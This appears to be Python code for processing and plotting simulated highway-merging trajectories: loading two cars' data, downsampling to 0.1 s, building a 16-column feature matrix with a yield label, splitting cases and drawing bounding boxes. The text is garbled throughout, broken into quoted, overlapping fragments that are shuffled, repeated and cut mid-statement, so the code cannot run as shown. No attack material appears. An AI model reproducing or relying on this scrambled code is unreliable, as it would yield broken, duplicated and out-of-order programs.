color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x =", "acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane car", "data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i in", "height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='red', edgecolor='black',", "get_low_freq_data(data): \"\"\" Return a data matrix with 0.1s per time", "= data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1] == 0: #", ") ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, #", "return data def get_low_freq_data(data): \"\"\" Return a data matrix with", "np.zeros((1,16)) for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 =", "= temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0)", "the information of two cars into one array. Note: car1", "count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0])", "mainlane) 11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge -", "all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix", "j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0])", "print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt',", "car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9", "'%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1),", "ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y", "'%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq lengths # separate", "facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85),", "= j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1]", "range(128): # print('i = '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] ==", "# else: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data =", "-600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix = np.loadtxt('./data_matrix.txt') plot_vehicles(case_id=8, data_matrix=data_matrix)", "10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge - mainlane)", "np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): \"\"\" Return a data matrix", "current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3]", "load_data(file_name, car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif", "ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, # width 1.8,", "temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3])", "into one array. Note: car1 -- mainlane car; car2 --", "car2_acc, c='r', label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel,", "car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 *", "import numpy as np import matplotlib.pyplot as plt import matplotlib", "= current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ##################################################################", "temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1]", "data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel", "edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1)", "data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') #", "range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2", "# count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in", "yields car2; 1: car2 yields car1) \"\"\" data_matrix = np.zeros((1,16))", "== 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data", "float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1)", "j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0])", "i<10: name='00'+str(i) elif i>=10 and i<100: name = '0'+str(i) elif", "import matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag ==", "relative_long_distance (merge - mainlane) 13 car1_yaw 14 car2_yaw 15 situation", "all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt',", "for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620,", "#check_data() ############################################### def plot_vehicles(case_id, data_matrix): \"\"\" This function is to", "= car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else:", "4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos", "width 1.8, # height alpha = 0.3 + 0.7*(T-i) /", "\"\"\" This function is to plot vehicle trajectories with bounding", "i in range(128): # print('i = '+str(i)) # temp_data =", "= get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16))", "1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq", "= np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:],", "0 case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos", "elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape)", "lane car velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity') plt.legend()", "current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if", "to plot vehicle trajectories with bounding boxes. \"\"\" current_case_data =", "= 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main lane", "car1 yields car2; 1: car2 yields car1) \"\"\" data_matrix =", "data.shape[1])) for i in range(data.shape[0]): if i % 10 ==", "0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): \"\"\"", "= np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1 =", "car; OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel", "temp_seg_data),axis=0) for i in range(128): print('i = '+str(i)) temp_data =", "patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, # width 1.8, #", "label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def", "plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T),", "np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq lengths", "car1_yaw 14 car2_yaw 15 situation label: (0: car1 yields car2;", "elif i>=10 and i<100: name = '0'+str(i) elif i>=100: name", "count0, count1 = [], [] # for i in range(128):", "data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7]", "# all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1]))", "= np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for j in range(temp_data.shape[0]-segment_length+1):", "trajectories with bounding boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T =", "0.3 + 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) )", "range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([])", "== 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process():", "= np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128): print('i = '+str(i))", "case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5", "current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2]", "# plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main lane car acceleration')", "temp_data[0,-1] == 0: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data", "def load_data(file_name, car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name))", "i in range(data.shape[0]): if i % 10 == 0: matrix", "ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png',", "matrix = np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if i", "data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length):", "= np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): \"\"\"", "in range(data.shape[0]): if i % 10 == 0: matrix =", "= 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5]", "Note: car1 -- mainlane car; car2 -- merging car; OutFormat:", "= 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2))", "color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in", "# count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: #", "matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag == 1:", "0.1s per time step data. (from 0.01s data) \"\"\" matrix", "= [], [] # for i in range(128): # print('i", "alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5", "file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1))", "for j in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] =", "= fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0,", "segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1,", "10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def", "car1 -- mainlane car; car2 -- merging car; OutFormat: 0", "car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10", "== i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1,", "y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight')", "return matrix[1:,:] def data_process(): \"\"\" This function serves to concatenate", "'0'+str(i) elif i>=100: name = str(i) ax = fig.add_subplot(111, aspect='equal')", "current_case_data[i,4]-0.9), # (x,y) 4.0, # width 1.8, # height alpha", "as np import matplotlib.pyplot as plt import matplotlib as mpl", "numpy as np import matplotlib.pyplot as plt import matplotlib as", "car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane", "for i in range(data.shape[0]): if i % 10 == 0:", "5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement", "= car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10", "0.3 + 0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) )", "with 0.1s per time step data. (from 0.01s data) \"\"\"", "import matplotlib as mpl import matplotlib.patches as patches def load_data(file_name,", "#divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data =", "0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1)", "T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j in", "data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): \"\"\" Return a", "= 0.3 + 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5 )", "= [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680,", "np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process()", "= temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc =", "car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] =", "\"\"\" data_matrix = np.zeros((1,16)) for i in range(128): file_name_1 =", "i in range(128): print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] ==", "range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1,", "count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) #", "+ 0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445),", "current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): \"\"\" This function", "as plt import matplotlib as mpl import matplotlib.patches as patches", "# temp_data = data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1] ==", "x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in range(len(x)):", "i in range(T): if i<10: name='00'+str(i) elif i>=10 and i<100:", "if i<10: name='00'+str(i) elif i>=10 and i<100: name = '0'+str(i)", "= current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13]", "to separate two situation cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] ==", "plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane car velocity') plt.plot(range(T),", "current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:,", "+ 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch(", "This function is to plot vehicle trajectories with bounding boxes.", "'%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix =", "data_matrix): \"\"\" This function is to plot vehicle trajectories with", "# (x,y) 4.0, # width 1.8, # height alpha =", "situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq lengths #", "range(data.shape[0]): if i % 10 == 0: matrix = np.concatenate((matrix,", "time step data. (from 0.01s data) \"\"\" matrix = np.zeros((1,", "np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): \"\"\" This function serves", "current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i in range(T): if i<10:", "= '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] == i)] # if", "= 1 else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :]", "current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] =", "OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel 4", "car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance", "# temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 =", "if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag ==", "c='b', label='main lane car velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car", "current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14]", "This function serves to concatenate the information of two cars", "current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] >", "segment_length=30) ############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)]", "situation label: (0: car1 yields car2; 1: car2 yields car1)", "= data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel =", "# all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2", "i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10", "car2 -- merging car; OutFormat: 0 case_ID 1 frame_ID 2", "all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1", "car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0 current_data_matrix =", "car2; 1: car2 yields car1) \"\"\" data_matrix = np.zeros((1,16)) for", "car1) \"\"\" data_matrix = np.zeros((1,16)) for i in range(128): file_name_1", "15 situation label: (0: car1 yields car2; 1: car2 yields", "= current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i in range(T): if", "= np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): \"\"\" Return a data", "linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0,", "# all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for j", "#data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data =", "#data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data", "7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge -", "- car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1]", "serves to concatenate the information of two cars into one", "in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) #", "car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main", "temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel", "- car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2]", ":] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else:", ":] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix,", "for i in range(T): if i<10: name='00'+str(i) elif i>=10 and", "plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix): \"\"\"", "= np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return", "fig = plt.figure(figsize=(20,2)) for i in range(T): if i<10: name='00'+str(i)", "function serves to separate two situation cases. \"\"\" situation0_data =", "(merge - mainlane) 12 relative_long_distance (merge - mainlane) 13 car1_yaw", "np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return data", "data) \"\"\" matrix = np.zeros((1, data.shape[1])) for i in range(data.shape[0]):", "color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y =", "car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag", "car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2:", "boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig =", "i)] # if temp_data[0,-1] == 0: # for j in", "function serves to concatenate the information of two cars into", "label='main lane car acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging car", "data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 =", "data matrix with 0.1s per time step data. (from 0.01s", "current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix,", "# height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='blue',", "current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 *", "data def get_low_freq_data(data): \"\"\" Return a data matrix with 0.1s", "all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1 = [], [] #", "i>=100: name = str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle(", "label: (0: car1 yields car2; 1: car2 yields car1) \"\"\"", "y = [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1)", "np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f')", "in range(128): # print('i = '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0]", "# count seq lengths # separate sequence segments # all_trajs_seg_1", "\"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] ==", "np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1]))", "as mpl import matplotlib.patches as patches def load_data(file_name, car_flag): if", "car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane)", "cars into one array. Note: car1 -- mainlane car; car2", "car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T =", "car velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps',", "height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black',", "data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): \"\"\" This function serves to", "velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix):", "= data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1", "== 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count", "# height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='red',", "label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main", "car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15]", "per time step data. (from 0.01s data) \"\"\" matrix =", "merging car; OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos 3", "temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0])", "current_data_matrix = np.zeros((T,16)) for j in range(1, T): current_data_matrix[j,0] =", "cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1]", "a data matrix with 0.1s per time step data. (from", "car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] =", "plt.plot(range(T), car1_long_vel, c='b', label='main lane car velocity') plt.plot(range(T), car2_long_vel, c='r',", "temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) #", "frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6", "current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def", "for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] #", "in range(128): print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)]", "= np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt')", "vehicle trajectories with bounding boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T", "car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6]", "import matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.patches", "-- merging car; OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos", "- mainlane) 13 car1_yaw 14 car2_yaw 15 situation label: (0:", "np import matplotlib.pyplot as plt import matplotlib as mpl import", "car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] -", "situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)]", "== 0: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data =", "in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([])", "data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): \"\"\" This function serves to", "\"\"\" Return a data matrix with 0.1s per time step", "-- mainlane car; car2 -- merging car; OutFormat: 0 case_ID", "(merge - mainlane) 11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance", "= np.zeros((T,16)) for j 